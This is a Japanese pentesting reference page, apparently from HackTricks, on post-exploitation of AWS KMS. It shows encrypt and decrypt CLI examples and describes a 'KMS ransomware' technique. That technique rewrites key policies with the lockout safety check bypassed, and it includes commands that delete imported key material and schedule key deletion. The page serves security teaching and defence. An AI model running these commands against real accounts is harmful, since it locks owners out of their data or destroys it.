# AWS - KMS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## KMS 詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} ### 情報の暗号化/復号化 `fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです: - `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。 - `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。 > [!TIP] > ファイル内のデータを復号化したい場合、そのファイルにはバイナリデータが含まれている必要があります。base64 エンコードされたデータではありません。(fileb://) - **対称**キーを使用して ```bash # Encrypt data aws kms encrypt \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --output text \ --query Plaintext | base64 \ --decode ``` - **非対称**キーを使用する: ```bash # Encrypt data aws kms encrypt \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --output text \ --query Plaintext | base64 \ --decode ``` ### KMS ランサムウェア 特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。 その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。 > [!WARNING] > **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。 > また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。 ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ --policy-name default \ --policy file:///tmp/policy.yaml \ --bypass-policy-lockout-safety-check { "Id": "key-consolepolicy-3", "Version": "2012-10-17", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": "kms:*", "Resource": "*" } ] } ``` > [!CAUTION] > 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻そうとしても、クロスアカウントからPut Policyアクションを実行できないため、できません**。
### 一般的なKMSランサムウェア #### グローバルKMSランサムウェア グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます: - 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する** - **以前のバージョンで暗号化された古いデータを新しいもので再暗号化する** - **KMSキーを削除する** - これで、元のキー素材を持つ攻撃者のみが暗号化されたデータを復号化できるようになります ### キーを破壊する ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] > AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています:**
{{#include ../../../banners/hacktricks-training.md}}